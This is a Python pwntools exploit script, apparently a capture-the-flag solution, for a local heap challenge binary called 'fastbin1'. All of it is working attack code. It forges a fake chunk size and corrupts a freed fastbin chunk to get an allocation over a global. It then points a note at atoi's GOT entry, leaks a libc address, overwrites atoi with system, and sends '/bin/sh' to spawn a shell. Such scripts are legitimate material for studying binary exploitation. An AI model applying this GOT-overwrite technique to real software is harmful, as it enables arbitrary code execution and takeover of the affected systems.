from pwn import *
p = process('./fastbin1', env = {"LD_PRELOAD":"./libc6_2.23-0ubuntu10_amd64.so"})
gdb.attach(p)

#To add a note
atoi_got = p64(0x0000000000602060)
name = p64(0x6020d0)

p.recvuntil('Enter name: ')
exp = "a"*0x38 + p64(0x41)
p.sendline(exp)
p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('0')
p.sendline('aaaaAAAA')

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('1')
p.sendline("bbbbbbbb")

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('2')
p.sendline("cccccccc")

p.recvuntil('Enter choice >> ')
p.sendline('4')
p.recvuntil('Enter index :')
p.sendline('2')

p.recvuntil('Enter choice >> ')
p.sendline('4')
p.recvuntil('Enter index :')
p.sendline('1')

p.recvuntil('Enter choice >> ')
p.sendline('2')
p.recvuntil('Enter index :')
p.sendline('0')
exp = "a"*0x38 + p64(0x41) + name
p.sendline(exp)

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('1')
exp = "dddddddd"
p.sendline(exp)


p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('2')
exp = atoi_got
p.sendline(exp)

p.recvuntil('Enter choice >> ')
p.sendline('3')
p.recvuntil('Enter index :')
p.sendline('0')
p.recvuntil("Data: ")
leak = u64(p.recvline().strip()+"\x00\x00")
print hex(leak)

system = leak + 0xe510

print hex(system)

p.recvuntil('Enter choice >> ')
p.sendline('2')
p.recvuntil('Enter index :')
p.sendline('0')
exp = p64(system)
p.sendline(exp)

p.recvuntil('Enter choice >> ')
p.sendline("/bin/sh")
p.interactive()
